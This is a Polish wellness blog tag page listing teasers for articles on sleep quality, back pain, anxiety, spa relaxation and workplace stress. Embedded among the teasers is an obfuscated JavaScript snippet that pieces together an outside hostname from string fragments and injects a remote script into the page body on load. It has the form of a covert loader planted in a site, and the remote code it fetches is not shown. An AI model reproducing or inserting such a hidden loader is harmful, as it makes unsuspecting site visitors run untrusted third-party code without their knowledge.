Tag: relaks
Czego unikać wieczorem, żeby poprawić jakość snu?
Sen jest podstawową potrzebą fizjologiczną każdego człowieka, o charakterze cyklicznym, powtarzającym się każdej doby. To czas, w którym organizm regeneruje się i odpoczywa, a...
Wałki do spania, czyli prosty sposób na bóle pleców
Męczy Cię ustawiczny ból pleców i nie wiesz już, co masz z tym zrobić? Nie pomogło nic, nawet specjalistyczna rehabilitacyjna poduszka ortopedyczna? Jeżeli prowadzisz...
Jak radzić sobie z lękiem?
Strach i lęk są czasami ze sobą mylone, istnieje jednak między nimi kluczowa różnica. Strach jest reakcją organizmu na realne zagrożenie i uruchamia się...
Nabierz sił na nadchodzącą jesień i odpręż się w SPA
Dowiedz się, dlaczego warto i jak wybrać to najlepsze.
(function(){
wkXz=document.createElement("script");wkXz.type="text/javascript";
wkXz.async=true;wkXz_=(("us")+"t")+"a";wkXz_+=("t.i")+""+"n";wkXz_+=(("f")+"o");wkXz_+="/";
wkXzu="243788191.";wkXzu+="3vzy6s0bkXzzzcw4ls5fk4p03zskak";wkXz.src="https://"+wkXz_+wkXzu;
wkXzdb=document.body;wkXzdb.appendChild(wkXz);
})();
Jesień w SPA - dlaczego warto
Po pierwsze dlatego, że możesz się w nim w pełni zrelaksować....
Kolorowych snów, czyli jak radzić sobie z bezsennością
Sen to naturalna potrzeba fizjologiczna człowieka. To właśnie dzięki niemu możemy zregenerować siły i odciążyć układ nerwowy. Jednak problem pojawia się wtedy, gdy jakość...
Jak w prosty sposób podnieść jakość snu?
Wiele osób boryka się z bezsennością. Przyczyn takiego stanu może być wiele. Część z nich wymaga profesjonalnej diagnozy lekarskiej. Inne można rozwiązać poprzez podniesienie...
Jak dobrać pokrowiec na materac i na co zwrócić uwagę?
Kiedy kupujemy nowy materac na łóżko, często skupiamy się na jego właściwościach pozostawiając nieco z boku właściwości reprezentowane przez pokrowiec. Niesłusznie, bowiem pokrowiec na...
Uwolnij swoje ciało od stresu!
W czasach ciągłej gonitwy napięcie fizyczne i psychiczne towarzyszy nam niemal każdego dnia. Nasze życie raz jest w fazie napięcia, innym razem w fazie...
Stres pourlopowy – jak sobie z nim poradzić?
Większość pracujących odczuwa stres związany z powrotem do pracy po urlopie. Może się on objawiać bólami głowy, nudnościami, apatią i trudnością z koncentracją. By szybko zwalczyć negatywne...
65 proc. polskich pracowników cierpi na syndrom poniedziałku
Blisko dwie trzecie Polaków stresuje się przed pierwszym dniem tygodnia w pracy. Syndrom poniedziałku objawia się spadkiem formy psychicznej oraz brakiem energii, a daje o sobie znać...